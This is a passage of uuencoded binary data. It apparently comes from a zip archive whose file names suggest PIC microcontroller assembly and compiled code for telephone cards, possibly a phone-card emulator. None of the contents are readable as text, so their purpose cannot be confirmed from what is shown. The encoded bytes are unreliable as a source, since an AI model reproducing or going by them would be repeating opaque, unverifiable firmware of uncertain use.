M(5V;"__57.:8PFP:+,"!1<[($<4PYD)BG=DB\.=.RX(5LPI,%?@05[O#]>9_
M<;TYP/6FE^LR_*%3L^2I"4RP<+40:4Z-O]?(.'/3&I),O&_1F?(W=#>:?41]
M,^BJVB#KUH.H6U5E`5(`HO#:"C5#>9XS"OH-5>U494&8I22IS/3CSJT@GN=.
M)_8@LV'G*MQ!@5#4BLJ:]Y#R87JN=8#1R=$M?R]TKG59]5;VV2;LKT&QB
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
